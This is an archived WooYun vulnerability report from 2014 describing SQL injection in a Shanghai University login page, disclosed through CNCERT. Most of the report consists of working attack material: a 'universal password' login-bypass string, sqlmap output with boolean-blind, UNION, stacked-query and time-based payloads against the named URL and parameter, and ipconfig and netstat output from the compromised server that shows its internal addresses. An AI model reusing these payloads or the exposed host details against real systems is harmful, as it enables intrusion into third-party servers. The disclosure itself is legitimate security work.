当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-052734

漏洞标题:上海大学某站点sql注入

相关厂商:上海大学

漏洞作者: m_vptr

提交时间:2014-03-05 16:59

修复时间:2014-06-03 17:00

公开时间:2014-06-03 17:00

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-05: 细节已通知厂商并且等待厂商处理中
2014-03-10: 厂商已经确认,细节仅向厂商公开
2014-03-13: 细节向第三方安全合作伙伴开放
2014-05-04: 细节向核心白帽子及相关领域专家公开
2014-05-14: 细节向普通白帽子公开
2014-05-24: 细节向实习白帽子公开
2014-06-03: 细节向公众公开

简要描述:

SQL注入,可获得os-shell

详细说明:

http://wkf.shu.edu.cn/login.aspx 登录框存在sql注入,直接用万能密码'or'a'='a可测试。

漏洞证明:

扫描报告

sqlmap identified the following injection points with a total of 80 HTTP(s) requests:
---
Place: POST
Parameter: txtUserName
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase stacked conditional-error blind queries
Payload: __VIEWSTATE=/wEPDwULLTE5NDQ1ODY5NTRkZEgimj07AXJcb1obgvPpmKTRdyUp&__EVENTVALIDATION=/wEWBQLlwpigCQKl1bKzCQK1qbT2CQKM54rGBgK7q7GGCKv3JJkgpaefIUz+4BHuMULXdWEU&txtUserName='or'a'='a'; IF(8505=8505) SELECT 8505 ELSE DROP FUNCTION qbxE--&txtpassword='or'a'='a&Button1= %E7%99%BB %E5%BD%95
Type: UNION query
Title: Generic UNION query (NULL) - 13 columns
Payload: __VIEWSTATE=/wEPDwULLTE5NDQ1ODY5NTRkZEgimj07AXJcb1obgvPpmKTRdyUp&__EVENTVALIDATION=/wEWBQLlwpigCQKl1bKzCQK1qbT2CQKM54rGBgK7q7GGCKv3JJkgpaefIUz+4BHuMULXdWEU&txtUserName='or'a'='a' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113) CHAR(108) CHAR(104) CHAR(106) CHAR(113) CHAR(89) CHAR(70) CHAR(104) CHAR(118) CHAR(89) CHAR(110) CHAR(117) CHAR(120) CHAR(101) CHAR(121) CHAR(113) CHAR(120) CHAR(113) CHAR(114) CHAR(113),NULL,NULL-- &txtpassword='or'a'='a&Button1= %E7%99%BB %E5%BD%95
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: __VIEWSTATE=/wEPDwULLTE5NDQ1ODY5NTRkZEgimj07AXJcb1obgvPpmKTRdyUp&__EVENTVALIDATION=/wEWBQLlwpigCQKl1bKzCQK1qbT2CQKM54rGBgK7q7GGCKv3JJkgpaefIUz+4BHuMULXdWEU&txtUserName='or'a'='a'; WAITFOR DELAY '0:0:5'--&txtpassword='or'a'='a&Button1= %E7%99%BB %E5%BD%95
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: __VIEWSTATE=/wEPDwULLTE5NDQ1ODY5NTRkZEgimj07AXJcb1obgvPpmKTRdyUp&__EVENTVALIDATION=/wEWBQLlwpigCQKl1bKzCQK1qbT2CQKM54rGBgK7q7GGCKv3JJkgpaefIUz+4BHuMULXdWEU&txtUserName='or'a'='a' WAITFOR DELAY '0:0:5'--&txtpassword='or'a'='a&Button1= %E7%99%BB %E5%BD%95


ipconfig

command standard output:                                                                                                                                                       
---
Windows IP 配置


以太网适配器 本地连接 3:

\?a0\?a0连接特定的 DNS 后缀 . . . . . . . :
连接特定的 DNS 后缀 . . . . . . . :
\?a0\?a0本地链接 IPv6 地址. . . . . . . . : fe80::1916:3637:8c99:625
本地链接 IPv6 地址. . . . . . . . : fe80::1916:3637:8c99:625
\?a0\?a0IPv4 地址 . . . . . . . . . . . . : 169.254.95.119
IPv4 地址 . . . . . . . . . . . . : 169.254.95.119
\?a0\?a0子网掩码 \?a0. . . . . . . . . . . . : 255.255.0.0
子网掩码 . . . . . . . . . . . . : 255.255.0.0
\?a0\?a0默认网关. . . . . . . . . . . . . :
默认网关. . . . . . . . . . . . . :

以太网适配器 本地连接 2:

\?a0\?a0连接特定的 DNS 后缀 . . . . . . . : shu.edu.cn
连接特定的 DNS 后缀 . . . . . . . : shu.edu.cn
\?a0\?a0IPv6 地址 . . . . . . . . . . . . : 2001:da8:8006:445:8852:db0a:71b:fc5d
IPv6 地址 . . . . . . . . . . . . : 2001:da8:8006:445:8852:db0a:71b:fc5d
\?a0\?a0本地链接 IPv6 地址. . . . . . . . : fe80::8852:db0a:71b:fc5d
本地链接 IPv6 地址. . . . . . . . : fe80::8852:db0a:71b:fc5d
\?a0\?a0IPv4 地址 . . . . . . . . . . . . : 111.186.98.194
IPv4 地址 . . . . . . . . . . . . : 111.186.98.194
\?a0\?a0子网掩码 \?a0. . . . . . . . . . . . : 255.255.255.128
子网掩码 . . . . . . . . . . . . : 255.255.255.128
\?a0\?a0默认网关. . . . . . . . . . . . . : fe80::225:9eff:fe5c:9ebf
默认网关. . . . . . . . . . . . . : fe80::225:9eff:fe5c:9ebf
\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0111.186.98.254
111.186.98.254

以太网适配器 本地连接:

\?a0\?a0连接特定的 DNS 后缀 . . . . . . . : shu.edu.cn
连接特定的 DNS 后缀 . . . . . . . : shu.edu.cn
\?a0\?a0IPv6 地址 . . . . . . . . . . . . : 2001:da8:8006:445:a883:b9ae:2bbb:2e62
IPv6 地址 . . . . . . . . . . . . : 2001:da8:8006:445:a883:b9ae:2bbb:2e62
\?a0\?a0本地链接 IPv6 地址. . . . . . . . : fe80::a883:b9ae:2bbb:2e62
本地链接 IPv6 地址. . . . . . . . : fe80::a883:b9ae:2bbb:2e62
\?a0\?a0IPv4 地址 . . . . . . . . . . . . : 111.186.98.193
IPv4 地址 . . . . . . . . . . . . : 111.186.98.193
\?a0\?a0子网掩码 \?a0. . . . . . . . . . . . : 255.255.255.128
子网掩码 . . . . . . . . . . . . : 255.255.255.128
\?a0\?a0默认网关. . . . . . . . . . . . . : fe80::225:9eff:fe5c:9ebf
默认网关. . . . . . . . . . . . . : fe80::225:9eff:fe5c:9ebf
\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0111.186.98.254
111.186.98.254

隧道适配器 本地连接* 8:

\?a0\?a0媒体状态 \?a0. . . . . . . . . . . . : 媒体已断开
媒体状态 . . . . . . . . . . . . : 媒体已断开
\?a0\?a0连接特定的 DNS 后缀 . . . . . . . :
连接特定的 DNS 后缀 . . . . . . . :

---

netstat

活动连接

\?a0协议 \?a0本地地址 \?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0\?a0外部地址 \?a0\?a0\?a0\?a0\?a0\?a0\?a0状态
协议 本地地址 外部地址 状态
\?a0TCP \?a0\?a0\?a0111.186.98.193:80 \?a0\?a0\?a0\?a0\?a010.105.1.200:13575 \?a0\?a0\?a0\?a0ESTABLISHED
略。。。

修复方案:

过滤

版权声明:转载请注明来源 m_vptr@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-03-10 21:16

厂商回复:

已经转由CNCERT通报给教育网应急组织处置。

最新状态:

暂无


漏洞评价:

评论